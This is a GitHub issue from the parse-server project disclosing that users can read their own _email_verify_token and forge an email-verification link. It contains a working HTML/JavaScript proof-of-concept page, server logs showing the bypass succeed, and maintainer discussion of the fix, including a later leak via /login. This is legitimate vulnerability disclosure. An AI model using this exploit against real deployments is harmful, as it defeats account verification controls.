Repository navigation
Vulnerability: Email verification can be circumvented by reading _email_verify_token #3432
Description
User who has just signed up, can get his/her email verified without having to click the link in the email.
The root cause of the problem is that _email_verify_token can be read by the user.
(There is another issue #3393 where problem is that emailVerified can be written by the user.)
Steps to reproduce
-
Set the following settings in the server.js:
verifyUserEmails: true,
emailVerifyTokenValidityDuration: 2 * 60 * 60,
preventLoginWithUnverifiedEmail: true, -
signup, and get the _email_verify_token with /parse/users/me
-
Fabricate email verification URL and redirect browser there
Here is sample page that does just that:
<html>
<head>
<script type="text/javascript" src="https://npmcdn.com/parse/dist/parse.js"\>\</script>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.1.1/jquery.min.js"\>\</script>
<script type="text/javascript">
function signupAndFakeEmailVerification()
{
Parse.initialize('e5c10b31d8716509af3e571260aed8b571dcdec1');
Parse.serverURL = 'http://127.0.0.1:8888/parse';
var user = new Parse.User();
user.set("username", "hacker2");
user.set("password", "passwd");
user.set("email", "hacker@example.com");
user.signUp(null, {
success: function(user) {
// Signup succeeded
alert("Signup succeeded " +user);
$.ajaxSetup({
headers : {
'X-Parse-Application-Id' : 'e5c10b31d8716509af3e571260aed8b571dcdec1',
'X-Parse-Session-Token' : Parse.User.current().getSessionToken()
}
});
// Circumvent email verification by getting _email_verify_token
$.getJSON('http://127.0.0.1:8888/parse/users/me', function (data) {
window.location = 'http://127.0.0.1:8888/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token='+data._email_verify_token+'&username=hacker2';
})
.error(function(jqXHR, textStatus, errorThrown) {
alert("error " + textStatus);
alert("incoming Text " + jqXHR.responseText);
});
alert("new user " + newuser);
},
error: function(user, error) {
alert("Error: " + error.code + "\n\nwhat is the error \n\n " + error.message);
}
});
}
</script>
</head>
<body onload="signupAndFakeEmailVerification()">
</body>
</html>
Expected Results
User is not able to read his/her _email_verify_token in step 2.
Actual Outcome
User can read his/her _email_verify_token, and thus fabricate the email verification link.
Email verification succeeds and now user has emailVerified true in the database.
Environment Setup
-
Server
- parse-server version : 2.3.2
- Operating System: Ubuntu 14.04.5 LTS (running on VirtualBox virtual machine)
- Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
- Localhost or remote server?: localhost
-
Database
- MongoDB version: v3.0.9
- Storage engine: default
- Hardware: EliteBook 8470p running VirtualBox Version 5.0.30 r112061
- Localhost or remote server?: localhost
Logs/Trace
verbose: REQUEST for [POST] /parse/users: {
"username": "hacker2",
"password": "",
"email": "hacker@example.com"
} method=POST, url=/parse/users, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, content-type=text/plain, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive, content-length=215, username=hacker2, password=, email=hacker@example.com
info: beforeSave triggered for _User for user undefined:
Input: {"username":"hacker2","password":"","email":"hacker@example.com","ACL":{}}
Result: {"object":{"ACL":{},"username":"hacker2","password":"","email":"hacker@example.com"}} className=_User, triggerType=beforeSave, user=undefined
verbose: RESPONSE from [POST] /parse/users: {
"status": 201,
"response": {
"objectId": "rkaOIgFssv",
"createdAt": "2017-01-20T14:37:28.752Z",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
},
"location": "http://127.0.0.1:8888/parse/users/rkaOIgFssv"
} status=201, objectId=rkaOIgFssv, createdAt=2017-01-20T14:37:28.752Z, read=true, write=true, sessionToken=r:01d90b5949931fa92aea0d892075253c, location=http://127.0.0.1:8888/parse/users/rkaOIgFssv
verbose: REQUEST for [GET] /parse/users/me: {} method=GET, url=/parse/users/me, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=application/json, text/javascript, /; q=0.01, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, x-parse-application-id=e5c10b31d8716509af3e571260aed8b571dcdec1, x-parse-session-token=r:01d90b5949931fa92aea0d892075253c, origin=null, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/users/me: {
"response": {
"username": "hacker2",
"createdAt": "2017-01-20T14:37:28.752Z",
"emailVerified": false,
"email": "hacker@example.com",
"updatedAt": "2017-01-20T14:37:28.752Z",
"objectId": "rkaOIgFssv",
"_email_verify_token_expires_at": {
"__type": "Date",
"iso": "2017-01-20T16:37:28.858Z"
},
"_email_verify_token": "s86MRoputHM3CAn7CWGDukPlM",
"ACL": {
"rkaOIgFssv": {
"read": true,
"write": true
}
},
"__type": "Object",
"className": "_User",
"sessionToken": "r:01d90b5949931fa92aea0d892075253c"
}
} username=hacker2, createdAt=2017-01-20T14:37:28.752Z, emailVerified=false, email=hacker@example.com, updatedAt=2017-01-20T14:37:28.752Z, objectId=rkaOIgFssv, __type=Date, iso=2017-01-20T16:37:28.858Z, _email_verify_token=s86MRoputHM3CAn7CWGDukPlM, read=true, write=true, __type=Object, className=_User, sessionToken=r:01d90b5949931fa92aea0d892075253c
verbose: REQUEST for [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {} method=GET, url=/parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2, host=127.0.0.1:1337, user-agent=Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0, accept=text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8, accept-language=en-US,en;q=0.5, accept-encoding=gzip, deflate, upgrade-insecure-requests=1, x-forwarded-for=10.0.2.2, x-forwarded-host=127.0.0.1:8888, x-forwarded-server=localhost, connection=Keep-Alive,
verbose: RESPONSE from [GET] /parse/apps/e5c10b31d8716509af3e571260aed8b571dcdec1/verify_email?token=s86MRoputHM3CAn7CWGDukPlM&username=hacker2: {
"status": 302,
"location": "http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2"
} status=302, location=http://127.0.0.1:8888/parse/apps/verify_email_success.html?username=hacker2
Activity
cherukumilli commentedon Jan 27, 2017
@haapaan
Good catch.
@bhaskaryasa @flovilmart
To fix the problem we need to update parse-server code to:
Solution 1: (needs major changes)
_Usertable into a_User_hiddentable_User_hiddentable only to the masterkey userOr
Solution 2: (easier. requires very few changes)
handleMeinUsersRouter.js, callunseton all the hidden fields before sending a response back to the clientOr
Is there a way to delete the hidden fields in RestQuery.js?
flovilmart commentedon Jan 27, 2017
I prefer solution 2, as it doesn't require any schema updates.
We could probably even not select the fields upon querying no?
cherukumilli commentedon Jan 27, 2017
@flovilmart
Looking at the code I am unable to figure out how to not select the hidden fields...
handleMe()has the following code snippet. It is grabbing the entireuserand that is what is sent back in the response currently.rest.findandRestQuery()also do not appear to have a way to not select the hidden columns.bhaskaryasa commentedon Jan 28, 2017
@cherukumilli @flovilmart
It looks like RestWrite is currently handling removal of hidden fields in sanitizedData. Surprisingly I don't see an equivalent in RestQuery.
flovilmart commentedon Jan 28, 2017
Those fields should be transformed like the _auth_data_facebook at one point or stripped out ATM. But yes, they are not filtered when issuing the query using a sort of select
cherukumilli commentedon Feb 10, 2017
I will take a shot at fixing this issue over the weekend
montymxb commentedon Jul 24, 2017
Closing this as resolved in #3681. Let us know if there's anything else that needs to be covered.
gyratorycircus commentedon Nov 9, 2017
It looks like while this was addressed for
/users/me, authenticating via/loginstill returns_email_verify_token.EDIT: Created PR #4335 to fix this
montymxb commentedon Nov 10, 2017
@gyratorycircus checking against parse-server 2.6.5 I don't see the token leaking from the
loginendpoint. Can you indicate what version of parse-server you observed this in?montymxb commentedon Nov 10, 2017
Took a second look based on the PR submitted above. Can confirm this is present under the
loginendpoint.